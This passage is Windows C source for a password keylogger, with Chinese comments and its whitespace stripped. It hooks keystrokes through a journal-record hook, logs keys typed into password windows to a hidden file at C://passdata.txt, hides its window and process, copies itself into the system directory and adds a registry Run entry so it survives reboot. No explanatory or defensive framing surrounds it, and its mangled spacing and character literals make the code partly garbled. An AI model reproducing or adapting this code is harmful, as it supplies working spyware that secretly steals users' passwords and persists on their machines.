if(nKey>=65&&nKey<=90)
{
if(!kd.bCaps)
if(kd.bShift)kd.kKey=nKey;
elsekd.kKey=nKey+32;
elseif(kd.bShift)kd.kKey=nKey+32;
elsekd.kKey=nKey;
returnkd.kKey;
}
if(nKey>=96&&nKey<=105)//小键盘0-9
if(kd.bNum)
return(kd.kKey=(nKey-96+48));
if(nKey>=186&&nKey<=222)//其他键
{
switch(nKey)
{
case186:
if(!kd.bShift)kd.kKey=';';elsekd.kKey=':';
break;
case187:
if(!kd.bShift)kd.kKey='=';elsekd.kKey='+';
break;
case188:
if(!kd.bShift)kd.kKey=',';elsekd.kKey='<';
break;
case189:
if(!kd.bShift)kd.kKey='-';elsekd.kKey='_';
break;
case190:
if(!kd.bShift)kd.kKey='.';elsekd.kKey='>';
break;
case191:
if(!kd.bShift)kd.kKey='/';elsekd.kKey='?';
break;
case192:
if(!kd.bShift)kd.kKey='`';elsekd.kKey='~';
break;
case219:
if(!kd.bShift)kd.kKey='[';elsekd.kKey='{';
break;
case220:
if(!kd.bShift)kd.kKey='//';elsekd.kKey='|';
break;
case221:
if(!kd.bShift)kd.kKey=']';elsekd.kKey='}';
break;
case222:
if(!kd.bShift)kd.kKey='//';elsekd.kKey='//';
break;
default:kd.kKey='n';break;
}
if(kd.kKey!='n')returnkd.kKey;
}
}
voidWINAPIWritePassFile(intnKey)
{
HANDLEhFile;
DWORDdwBytesWrite=1;
TCHARlpStr,szTemp[MAX_PATH];
hFile=CreateFile("C://passdata.txt",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
SetFilePointer(hFile,0,NULL,FILE_END);
lpStr=GetKey(LOBYTE(nKey));
WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
CloseHandle(hFile);
}
voidWINAPIInstallHook(HINSTANCEhInstance)
{
if(hHook==NULL)
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
}
voidWINAPIUninstallHook()
{
if(hHook!=NULL)
UnhookWindowsHookEx(hHook);
}
LRESULTCALLBACKJournalRecordProc(intnCode,WPARAMwParam,LPARAMlParam)
{
EVENTMSG*pMess=(EVENTMSG*)lParam;
POINTpt;
switch(pMess->message)
{
caseWM_KEYDOWN:
if(IsPassWindow())
WritePassFile(LOBYTE(pMess->paramL));
break;
caseWM_LBUTTONDBLCLK:
GetCursorPos(&pt);
break;
}
returnCallNextHookEx(hHook,nCode,wParam,lParam);
}
intWINAPIWinMain(HINSTANCEhInstance,HINSTANCEhPrevInstance,
PSTRszCmdLine,intiCmdShow)
{
HANDLEhMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
ExitProcess(1);
}
staticcharszAppName[]="jiajia";
HWNDhwnd;
MSGmsg;
WNDCLASSEXwndclass;
HKEYhKey=0;
DWORDdisp=0;
LONGlResult;
TCHARszKey[MAX_PATH];
TCHARszSysDir[MAX_PATH+25];
TCHARszFileName[MAX_PATH];
wndclass.cbSize=sizeof(wndclass);
wndclass.style=CS_HREDRAW|CS_VREDRAW;
wndclass.lpfnWndProc=WndProc;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hInstance=hInstance;
wndclass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndclass.hCursor=LoadCursor(NULL,IDC_ARROW);
wndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName=NULL;
wndclass.lpszClassName=szAppName;
wndclass.hIconSm=LoadIcon(NULL,IDI_APPLICATION);
RegisterClassEx(&wndclass);
hwnd=CreateWindow(szAppName,"jiajia",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL
);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
HideProc(SERVICE_PROC);
InstallHook(hInstance);
GetSystemDirectory(szSysDir,MAX_PATH);
lstrcat(szSysDir,RUN);
GetModuleFileName(NULL,szFileName,MAX_PATH);
CopyFile(szFileName,szSysDir,FALSE);
lstrcpy(szKey,"SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
szKey,
0,
NULL,
REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hKey,
&disp
);
if(lResult==ERROR_SUCCESS)
{
lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
RegCloseKey(hKey);
}
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
returnmsg.wParam;
}
LRESULTCALLBACKWndProc(HWNDhwnd,UINTiMsg,WPARAMwParam,LPARAMlParam)
{
switch(iMsg)
{
caseWM_PAINT:
return0;
caseWM_DESTROY:
UninstallHook();
PostQuitMessage(0);
return0;
}
returnDefWindowProc(hwnd,iMsg,wParam,lParam); |
|